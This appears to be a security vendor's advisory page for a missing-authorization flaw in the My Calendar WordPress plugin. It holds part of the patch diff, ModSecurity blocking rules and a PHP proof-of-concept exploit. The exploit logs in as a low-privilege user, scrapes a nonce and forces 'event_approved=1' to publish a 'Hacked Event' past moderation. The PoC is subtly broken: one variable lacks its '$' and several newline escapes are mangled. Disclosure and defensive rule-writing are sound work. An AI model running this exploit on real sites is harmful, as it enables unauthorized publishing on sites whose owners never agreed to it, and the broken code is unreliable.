+	$output    = get_transient( 'mc_svg_list' );
 	if ( ! $output ) {
 		if ( $is_custom ) {
 			$dir = plugin_dir_path( __FILE__ );
--- a/my-calendar/my-calendar-limits.php
+++ b/my-calendar/my-calendar-limits.php
@@ -178,6 +178,7 @@
 		} else {
 			$authors = explode( ',', $author );
 		}
+		$add = false;
 		foreach ( $authors as $index => $key ) {
 			$key = trim( $key );
 			if ( is_numeric( $key ) ) {
@@ -189,8 +190,9 @@
 				$author = get_user_by( 'login', $key ); // Get author by username.
 				$add    = ( $author ) ? $author->ID : false;
 			}
-
-			$return[] = ( $add ) ?? $add;
+			if ( $add ) {
+				$return[] = $add;
+			}
 		}
 	} else {
 		if ( is_numeric( $author ) ) {
--- a/my-calendar/my-calendar-locations.php
+++ b/my-calendar/my-calendar-locations.php
@@ -350,7 +350,7 @@
 	 * @param {array} $add Array of location parameters to add.
 	 * @param {array} $post POST array.
 	 *
-	 * @return Before priority 10, returns the location ID; after priority 10 returns the location post ID. Sorry.
+	 * @return int Before priority 10, returns the location ID; after priority 10 returns the location post ID. Sorry.
 	 */
 	$results = apply_filters( 'mc_save_location', $insert_id, $add, $post );

@@ -367,7 +367,12 @@
  */
 function mc_count_locations() {
 	global $wpdb;
+	$count = get_transient( 'mc_location_count' );
+	if ( $count ) {
+		return $count;
+	}
 	$count = $wpdb->get_var( 'SELECT COUNT(*) FROM ' . my_calendar_locations_table() ); // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared,WordPress.DB.PreparedSQL.NotPrepared
+	set_transient( 'mc_location_count', $count, DAY_IN_SECONDS );

 	return $count;
 }
@@ -490,6 +495,7 @@
 	$post = map_deep( $_POST, 'wp_kses_post' );

 	if ( isset( $post['mode'] ) && 'add' === $post['mode'] ) {
+		delete_transient( 'mc_location_count' );

 		$results     = mc_insert_location( $post );
 		$location_id = $results['location_id'];
@@ -514,6 +520,7 @@
 			mc_update_option( 'default_location', (int) $location_id );
 		}
 	} elseif ( isset( $_GET['location_id'] ) && 'delete' === $_GET['mode'] ) {
+		delete_transient( 'mc_location_count' );
 		$loc = absint( $_GET['location_id'] );
 		echo wp_kses_post( mc_delete_location( $loc ) );
 	} elseif ( isset( $_GET['mode'] ) && isset( $_GET['location_id'] ) && 'edit' === $_GET['mode'] && ! isset( $post['mode'] ) ) {
@@ -706,6 +713,10 @@
  * @return object|false location if found
  */
 function mc_get_location( $location_id, $update_location = true ) {
+	static $location_cache = array();
+	if ( isset( $location_cache[ $location_id ] ) ) {
+		return $location_cache[ $location_id ];
+	}
 	if ( ! is_admin() ) {
 		$location = get_transient( 'mc_location_' . $location_id );
 		if ( $location ) {
@@ -750,6 +761,7 @@
 	if ( ! is_admin() ) {
 		set_transient( 'mc_location_' . $location_id, $location, WEEK_IN_SECONDS );
 	}
+	$location_cache[ $location_id ] = $location;

 	return $location;
 }
--- a/my-calendar/my-calendar-output.php
+++ b/my-calendar/my-calendar-output.php
@@ -331,6 +331,10 @@
  * @return bool
  */
 function mc_legacy_templates_enabled() {
+	static $result = null;
+	if ( null !== $result ) {
+		return $result;
+	}
 	$enabled = mc_get_option( 'disable_legacy_templates' );
 	$legacy  = ( 'true' === $enabled ) ? false : true;
 	/**
@@ -347,6 +351,7 @@
 	if ( version_compare( $GLOBALS['wp_version'], '5.5', '<' ) ) {
 		$enabled = true;
 	}
+	$result = $enabled;

 	return $enabled;
 }
--- a/my-calendar/my-calendar-settings.php
+++ b/my-calendar/my-calendar-settings.php
@@ -22,12 +22,16 @@
  * @return mixed A boolean false return means the setting doesn't exist.
  */
 function mc_get_option( $key, $fallback = '' ) {
-	$options = get_option( 'my_calendar_options', mc_default_options() );
-	if ( ! is_array( $options ) ) {
-		$options = mc_default_options();
+	static $options = null;
+	static $default = null;
+	if ( is_admin() || null === $options ) {
+		$options = get_option( 'my_calendar_options', mc_default_options() );
+		if ( ! is_array( $options ) ) {
+			$options = mc_default_options();
+		}
+		$default = mc_default_options();
+		$options = array_merge( $default, $options );
 	}
-	$default = mc_default_options();
-	$options = array_merge( $default, $options );
 	$new_key = str_replace( 'mc_', '', $key );
 	$value   = isset( $options[ $new_key ] ) ? $options[ $new_key ] : false;
 	if ( ( ( 0 !== $value && ! $value ) || '' === $options[ $new_key ] ) && ( isset( $default[ $new_key ] ) && ! empty( $default[ $new_key ] ) ) ) {
--- a/my-calendar/my-calendar-templates.php
+++ b/my-calendar/my-calendar-templates.php
@@ -221,7 +221,8 @@
 	if ( ! is_object( $event ) ) {
 		return '';
 	}
-	$event = mc_get_event_location( $event, $source );
+	$map_string = '';
+	$event      = mc_get_event_location( $event, $source );
 	if ( $event ) {
 		$map_string = $event->location_street . ' ' . $event->location_street2 . ' ' . $event->location_city . ' ' . $event->location_state . ' ' . $event->location_postcode . ' ' . $event->location_country;
 	}
@@ -548,6 +549,10 @@
 	if ( ! is_object( $event ) ) {
 		return array();
 	}
+	static $tag_cache = array();
+	if ( isset( $tag_cache[ $event->occur_id ] ) ) {
+		return $tag_cache[ $event->occur_id ];
+	}
 	$location = mc_get_event_location( $event, 'event' );
 	/**
 	 * Execute action before tags are created.
@@ -595,15 +600,16 @@
 	$terms       = wp_get_object_terms( $event->event_post, 'mc-event-access' );
 	$term_list   = implode( ', ', wp_list_pluck( $terms, 'name' ) );
 	$e['access'] = $term_list;
+	$is_all_day  = mc_is_all_day( $event );

 	// Date & time fields.
 	$real_end_date   = ( isset( $event->occur_end ) ) ? $event->occur_end : $event->event_end . ' ' . $event->event_endtime;
-	$real_end_time   = ( mc_is_all_day( $event ) ) ? strtotime( $real_end_date ) + 60 : strtotime( $real_end_date );
+	$real_end_time   = ( $is_all_day ) ? strtotime( $real_end_date ) + 60 : strtotime( $real_end_date );
 	$real_begin_date = ( isset( $event->occur_begin ) ) ? $event->occur_begin : $event->event_begin . ' ' . $event->event_time;
-	$dtstart         = mc_format_timestamp( strtotime( $real_begin_date ), $context );
-	$dtend           = mc_format_timestamp( $real_end_time, $context );
-	$recur_start     = mc_format_timestamp( strtotime( $event->event_begin . ' ' . $event->event_time ), $context );
-	$recur_end       = mc_format_timestamp( strtotime( $event->event_end . ' ' . $event->event_endtime ), $context );
+	$dtstart         = mc_format_timestamp( strtotime( $real_begin_date ) );
+	$dtend           = mc_format_timestamp( $real_end_time );
+	$recur_start     = mc_format_timestamp( strtotime( $event->event_begin . ' ' . $event->event_time ) );
+	$recur_end       = mc_format_timestamp( strtotime( $event->event_end . ' ' . $event->event_endtime ) );
 	/**
 	 * Start date format used in 'date_utc'. Default from My Calendar settings.
 	 *
@@ -627,14 +633,14 @@
 	 */
 	$e['date_end_utc'] = date_i18n( apply_filters( 'mc_date_utc_format', $date_format, 'template_end_ts' ), $event->ts_occur_end );
 	$notime            = esc_html( mc_notime_label( $event ) );
-	$e['time']         = ( mc_is_all_day( $event ) ) ? $notime : mc_date( mc_time_format(), strtotime( $real_begin_date ), false );
-	$e['time24']       = ( mc_is_all_day( $event ) ) ? $notime : mc_date( 'G:i', strtotime( $real_begin_date ), false );
+	$e['time']         = ( $is_all_day ) ? $notime : mc_date( mc_time_format(), strtotime( $real_begin_date ), false );
+	$e['time24']       = ( $is_all_day ) ? $notime : mc_date( 'G:i', strtotime( $real_begin_date ), false );
 	$endtime           = ( '23:59:59' === $event->event_end ) ? '00:00:00' : mc_date( 'H:i:s', strtotime( $real_end_date ), false );
 	$e['endtime']      = ( $real_end_date === $real_begin_date || '1' === $event->event_hide_end || '23:59:59' === mc_date( 'H:i:s', strtotime( $real_end_date ), false ) ) ? '' : date_i18n( mc_time_format(), strtotime( $endtime ) );
 	$e['runtime']      = mc_runtime( $event->ts_occur_begin, $event->ts_occur_end, $event );
 	$e['duration']     = mc_duration( $event );
 	$e['dtstart']      = mc_date( 'Y-m-dTH:i:s', strtotime( $real_begin_date ), false );  // Date: hcal formatted.
-	$hcal_dt_end       = ( mc_is_all_day( $event ) ) ? strtotime( $real_end_date ) + 60 : strtotime( $real_end_date );
+	$hcal_dt_end       = ( $is_all_day ) ? strtotime( $real_end_date ) + 60 : strtotime( $real_end_date );
 	$e['dtend']        = mc_date( 'Y-m-dTH:i:s', $hcal_dt_end, false );    // Date: hcal formatted end.
 	$e['userstart']    = '<time class="mc-user-time" data-type="datetime" data-label="' . __( 'Local time:', 'my-calendar' ) . '">' . mc_date( 'Y-m-dTH:i:sZ', $event->ts_occur_begin, false ) . '</time>';
 	$e['userend']      = '<time class="mc-user-time" data-type="datetime" data-label="' . __( 'Local time:', 'my-calendar' ) . '">' . mc_date( 'Y-m-dTH:i:sZ', $event->ts_occur_end, false ) . '</time>';
@@ -888,14 +894,14 @@
 	}

 	$strip_desc = mc_newline_replace( wp_strip_all_tags( $event->event_desc ) ) . ' ' . $e['link'];
-	if ( mc_is_all_day( $event ) ) {
+	if ( $is_all_day ) {
 		$google_start = mc_date( 'Ymd', strtotime( $dtstart ), false );
 		$google_end   = mc_date( 'Ymd', strtotime( $dtend ), false );
 	} else {
 		$google_start = $dtstart;
 		$google_end   = $dtend;
 	}
-	$allday            = mc_is_all_day( $event ) ? 'true' : 'false';
+	$allday            = $is_all_day ? 'true' : 'false';
 	$aria_described    = ( $calendar_id ) ? " aria-describedby='mc_$event->occur_id-title-$calendar_id'" : '';
 	$e['gcal']         = mc_google_cal( $google_start, $google_end, $e_link, wp_unslash( $e['title'] ), $map_gcal, $strip_desc );
 	$e['gcal_link']    = "<a href='" . esc_url( $e['gcal'] ) . "' class='gcal external' rel='nofollow'" . $aria_described . "><span class='mc-icon' aria-hidden='true'></span>" . __( 'Google', 'my-calendar' ) . '</a>';
@@ -912,10 +918,10 @@

 	// ICAL.
 	$e['ical_desc']       = $strip_desc;
-	$e['ical_start']      = ( mc_is_all_day( $event ) ) ? mc_date( 'Ymd', strtotime( $recur_start ), false ) : $recur_start;
-	$e['ical_end']        = ( mc_is_all_day( $event ) ) ? mc_date( 'Ymd', strtotime( $recur_end ) + 60, false ) : $recur_end;
-	$e['ical_date_start'] = ( mc_is_all_day( $event ) ) ? mc_date( 'Ymd', strtotime( $dtstart ), false ) : $dtstart;
-	$e['ical_date_end']   = ( mc_is_all_day( $event ) ) ? mc_date( 'Ymd', strtotime( $dtend ) + 60, false ) : $dtend;
+	$e['ical_start']      = ( $is_all_day ) ? mc_date( 'Ymd', strtotime( $recur_start ), false ) : $recur_start;
+	$e['ical_end']        = ( $is_all_day ) ? mc_date( 'Ymd', strtotime( $recur_end ) + 60, false ) : $recur_end;
+	$e['ical_date_start'] = ( $is_all_day ) ? mc_date( 'Ymd', strtotime( $dtstart ), false ) : $dtstart;
+	$e['ical_date_end']   = ( $is_all_day ) ? mc_date( 'Ymd', strtotime( $dtend ) + 60, false ) : $dtend;
 	$e['ical_recur']      = mc_generate_rrule( $event );
 	$ical_link            = mc_build_url(
 		array( 'vcal' => $event->occur_id ),
@@ -954,6 +960,7 @@
 	 * @param {string} $context Current execution context.
 	 */
 	do_action( 'mc_tags_created', $event, $context );
+	$tag_cache[ $event->occur_id ] = $e;

 	return $e;
 }
@@ -1163,10 +1170,7 @@
  */
 function mc_date_badge( $date ) {
 	$time  = strtotime( $date );
-	$badge = '<time class="mc-date-badge" datetime="' . mc_date( 'Y-m-d', $time, false ) . '">
-		<span class="month">' . date_i18n( 'M', mc_date( '', $time, false ) ) . '</span>
-		<span class="day">' . mc_date( 'j', $time, false ) . '</span>
-	</time>';
+	$badge = '<time class="mc-date-badge" datetime="' . mc_date( 'Y-m-d', $time, false ) . '"><span class="month">' . date_i18n( 'M', mc_date( '', $time, false ) ) . '</span><span class="day">' . mc_date( 'j', $time, false ) . '</span></time>';
 	/**
 	 * Filter the date badge HTML.
 	 *
@@ -1687,16 +1691,17 @@
 	} else {
 		$use = $string1;
 	}
-	$use    = wp_strip_all_tags( $use );
-	$length = strlen( $use );
-	$start  = 0;
+	$use       = wp_strip_all_tags( $use );
+	$length    = strlen( $use );
+	$start     = 0;
+	$positions = array();
 	if ( $length > 160 ) {
 		foreach ( $terms as $t ) {
 			$positions[] = stripos( $use, $t );
 		}
 		// Use the first term referenced for positioning.
 		sort( $positions );
-		$position = $positions[0];
+		$position = $positions[0] ?? false;
 		// Search term not found.
 		if ( false === $position ) {
 			return substr( $use, 0, 160 );
--- a/my-calendar/my-calendar.php
+++ b/my-calendar/my-calendar.php
@@ -16,7 +16,7 @@
  * Text Domain: my-calendar
  * License:     GPL-2.0+
  * License URI: http://www.gnu.org/license/gpl-2.0.txt
- * Version:     3.7.9
+ * Version:     3.7.10
  */

 /*
@@ -53,7 +53,7 @@
 	if ( ! $version ) {
 		return get_option( 'mc_version', '' );
 	}
-	return '3.7.9';
+	return '3.7.10';
 }

 define( 'MC_DEBUG', false );

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
SecRule REQUEST_URI "@streq /wp-admin/admin-post.php" "id:20267525,phase:2,deny,status:403,chain,msg:'CVE-2026-7525 via My Calendar Event Editor',severity:'CRITICAL',tag:'CVE-2026-7525'"
SecRule ARGS_POST:action "@streq edit" "chain"
SecRule ARGS_POST:event_approved "@rx ^(1|2|3)$" ""

SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" "id:20267526,phase:2,deny,status:403,chain,msg:'CVE-2026-7525 via My Calendar AJAX',severity:'CRITICAL',tag:'CVE-2026-7525'"
SecRule ARGS_POST:action "@rx ^mc_" "chain"
SecRule ARGS_POST:event_approved "@rx ^(1|2|3)$" ""

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-7525 - My Calendar <= 3.7.9 - Authenticated (Custom+) Missing Authorization to Unauthorized Event Publication via 'event_approved' Parameter

/*
  This PoC demonstrates bypassing event moderation by setting event_approved=1.
  The attacker must be authenticated with at least custom-level access.
  Replace $target_url, $username, $password, and $event_id with actual values.
*/

$target_url = 'http://example.com'; // Change to target WordPress site
$username   = 'attacker';            // Change to attacker's username (custom+ level)
$password   = 'attacker_password';   // Change to attacker's password
event_id    = 123;                   // Change to target event ID

// Step 1: Authenticate and get cookies
$ch = curl_init($target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, 'log=' . urlencode($username) . '&pwd=' . urlencode($password) . '&wp-submit=Log+In&testcookie=1');
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
curl_close($ch);

// Step 2: Fetch event edit page to get nonce and current data
$manage_url = $target_url . '/wp-admin/admin.php?page=my-calendar-manage&mode=edit&event_id=' . $event_id;
$ch = curl_init($manage_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$html = curl_exec($ch);
curl_close($ch);

// Extract nonce from the edit form
preg_match('/name="event_nonce_name" value="([^"]+)"/', $html, $matches);
if (!isset($matches[1])) {
    die('Nonce not found. Ensure event ID is correct and user has edit access.');
}
$nonce = $matches[1];

echo "[+] Found nonce: $noncen";

// Step 3: Submit event update with event_approved=1 to force publication
$post_data = array(
    'event_nonce_name' => $nonce,
    'event_id'         => $event_id,
    'event_approved'   => 1,  // Bypass approval: force published status
    'event_title'      => 'Hacked Event - Published via CVE-2026-7525',
    'event_desc'       => 'This event was published by bypassing moderation.',
    'event_begin'      => date('Y-m-d', strtotime('+1 day')),
    'event_end'        => date('Y-m-d', strtotime('+1 day')),
    'event_time'       => '10:00:00',
    'event_endtime'    => '11:00:00',
    'event_category'   => 1,
    'event_author'     => 1,
    'event_short'      => '',
    'event_link'       => '',
    'event_link_expires' => '0',
    'event_span'       => 0,
    'event_hide_end'   => 0,
    'event_holiday'    => 0,
    'event_fifth_week' => 0,
    'event_recur'      => 'N',
    'event_repeats'    => 0,
    'event_priority'   => 0,
    'event_access'     => array(),
    'event_host'       => array(),
    'event_location'   => '',
    'mc_event_date'    => date('Y-m-d', strtotime('+1 day')),
    'mc_event_enddate' => date('Y-m-d', strtotime('+1 day')),
);

$ch = curl_init($target_url . '/wp-admin/admin-post.php');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/x-www-form-urlencoded'));
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "[+] HTTP response code: $http_coden";
echo "[+] Exploit completed. Event should now be published.n";

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School